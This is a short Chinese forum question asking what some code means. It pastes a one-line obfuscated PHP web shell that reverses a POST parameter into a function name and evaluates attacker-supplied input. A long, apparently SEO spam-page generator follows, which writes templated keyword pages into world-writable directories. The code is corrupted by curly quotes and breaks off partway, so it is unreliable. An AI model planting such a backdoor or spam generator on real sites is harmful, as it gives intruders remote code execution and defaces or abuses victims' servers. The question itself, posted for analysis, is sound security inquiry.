分析一下这个代码的意思

关注安全
0 1215

<  ?php $Exp=strrev($_POST['xise']);eval($Exp($_POST[z0]));? >


<?php
error_reporting(E_ERROR);
set_time_limit(0);

function setarray(){
return array(‘num’=>25,’tnum’=>25,’xnum’=>25,’nnum’=>25,’mnum’=>4,’along’=>200,’keyfile’=>’k.txt’,’txtfile’=>’t.txt’,’templetefile’=>’m.html’,’minpathlen’=>5,’maxpathlen’=>10,’isopenext’=>true);
}
function getKey($digits)
{
$char_array=array(“0″,”1″,”2″,”3″,”4″,”5″,”6″,”7″,”8″,”9″,”a”,”b”,”c”,”d”,”e”,”f”,”g”,”h”,”i”,”j”,”k”,”m”,”n”,”o”,”p”,”q”,”r”,”s”,”t”,”u”,”v”,”w”,”x”,”y”,”z”);

$output=””;
for($i=0;$i<$digits;$i++){
$output.=$char_array[GetRanNum(0,35)];
}
return $output;
}
function GetRanNum($min,$max){
srand((double)microtime()*1000000);
return rand($min,$max);
}
function mainshow($allnum,$appsplit,$hostpath,$hostkey,$ext){

$set=setarray();
$skinext=””;
if($set[‘isopenext’]) $skinext=$ext;
$templetePath=file_get_contents($set[‘templetefile’]);

$myArt = eArt($set[‘along’],$set[‘txtfile’]);
$rtemplete=preg_replace(‘/\$ekey\$/’,$hostkey,$templetePath);
$rtemplete=preg_replace(‘/\$title\$/’,$hostkey,$rtemplete);

$m_keyword=”;
for($ikey=0;$ikey<4;$ikey++){
$arr=readApp($appsplit,GetRanNum(0, $allnum-1));
$m_keyword.=’,’.$arr[1];
}
$rtemplete=preg_replace(‘/\$keyword\$/’,$hostkey.$m_keyword,$rtemplete);
$rtemplete=preg_replace(‘/\$description\$/’,$hostkey.$m_keyword,$rtemplete);
$rtemplete=preg_replace(‘/\$host\$/’,’../’.hostpath.’/’.$skinext,$rtemplete);
$ahost=readApp($appsplit,GetRanNum(0, $allnum-1));
$rtemplete=preg_replace(‘/\$author\$/’,'’.$ahost[1].'’,$rtemplete);
$rtemplete=preg_replace(‘/\$mainword\$/’,$hostkey,$rtemplete);
$rtemplete=preg_replace(‘/\$now\$/’,date(“Y-m-d H:i:s”),$rtemplete);

$tmyArt=ceil(strlen($myArt)/2);
$scontent= substr($myArt, 0,$tmyArt).'’.$hostkey.'’.substr($myArt, $tmyArt,$tmyArt-1);

$rtemplete=preg_replace(‘/\$content\$/’,$scontent,$rtemplete);
for($kk=0;$kk<=$set[‘num’];$kk++){
$bhostarr=readApp($appsplit,GetRanNum(0, $allnum-1));
$rtemplete=preg_replace(‘/\$key’.$kk.’\$/’,$bhostarr[1],$rtemplete);
$rtemplete=preg_replace(‘/\$url’.$kk.’\$/’,’../’.$bhostarr[0].’/’.$skinext,$rtemplete);
}
for($kk=0;$kk<=$set[‘tnum’];$kk++){
$bhostarr=readApp($appsplit,GetRanNum(0, $allnum-1));
$rtemplete=preg_replace(‘/\$tkey’.$kk.’\$/’,$bhostarr[1],$rtemplete);
$rtemplete=preg_replace(‘/\$turl’.$kk.’\$/’,’../’.$bhostarr[0].’/’.$skinext,$rtemplete);
}
for($kk=0;$kk<=$set[‘xnum’];$kk++){
$bhostarr=readApp($appsplit,GetRanNum(0, $allnum-1));
$rtemplete=preg_replace(‘/\$xkey’.$kk.’\$/’,$bhostarr[1],$rtemplete);
$rtemplete=preg_replace(‘/\$xurl’.$kk.’\$/’,’../’.$bhostarr[0].’/’.$skinext,$rtemplete);
}
for($kk=0;$kk<=$set[‘nnum’];$kk++){
$bhostarr=readApp($appsplit,GetRanNum(0, $allnum-1));
$rtemplete=preg_replace(‘/\$nkey’.$kk.’\$/’,$bhostarr[1],$rtemplete);
$rtemplete=preg_replace(‘/\$nurl’.$kk.’\$/’,’../’.$bhostarr[0].’/’.$skinext,$rtemplete);
}
for($kk=0;$kk<=$set[‘mnum’];$kk++){
$bhostarr=readApp($appsplit,GetRanNum(0, $allnum-1));
$rtemplete=preg_replace(‘/\$mkey’.$kk.’\$/’,$bhostarr[1],$rtemplete);
$rtemplete=preg_replace(‘/\$murl’.$kk.’\$/’,’../’.$bhostarr[0].’/’.$skinext,$rtemplete);
}
//mkdir($hostpath.’/’,’0777′);

$file=$hostpath.’/’.$ext;
$oldumask=umask(0);
@mkdir($hostpath.’/’);
@umask($oldumask);
@chmod($hostpath.’/’, 0777);

$james=fopen($file,”w”);
fwrite($james,$rtemplete);
fclose($james);
echo $hostkey.”:”.$file.’ success!
’; } function eArt($along,$txtfile){ $art=file_get_contents($txtfile); if(strlen($art)-1){ return get_HOST2($xStr); }else{ return $hostx; } } function eKey(){ $set=setarray(); $key = file_get_contents($set[‘keyfile’]); $array = explode(“\r\n”, $key); return $array[GetRanNum(0, count($array))]; } function getApp($allnum){ $str=””; for($i=0;$iintval($allnum,10)){ echo “关键词处理完毕,转向生成文件setTimeout(function(){window.location.href=’?ing=run&allnum=”.$allnum.”&pagenum=”.$pagenum.”&ext=”.$ext.”&page=”.$page.”‘;},3000)”; //echo ‘关键词处理完毕,转向生成文件’; return false; } $fn = ‘app.txt’; $word=getApp(($endnum-$startnum)); if(file_exists(“app.txt”)){ $fp = fopen($fn, ‘a’); } else{ $fp = fopen($fn, ‘w’); } fwrite($fp, $word); fclose($fp); echo $ipage.”页处理完毕setTimeout(function(){window.location.href=’?ing=update&allnum=”.$allnum.”&pagenum=”.$pagenum.”&ext=”.$ext.”&page=”.$page.”&ipage=”.($ipage+1).”‘;},2000)”; return false; } if($run==’run’){ if($ext==””){ echo “生成类型不能为空”; return false; } if(!preg_match(“/^[0-9]*$/”,$allnum)){ echo “生成数量不能为空”; return false; } if(!preg_match(“/^[0-9]*$/”,$pagenum)){ echo “每页生成数量不能为空”; return false; } if(!preg_match(“/^[0-9]*$/”,$page)){ $page=1; } if($page==””){ $page=1; } $appsplit=splitReadApp($allnum); $xpage=$page-1; $startNum=$xpage*$pagenum; if($startNum>$allnum-1){ $rapp=readApp($appsplit,$allnum-1); echo “处理完毕! 点赞 0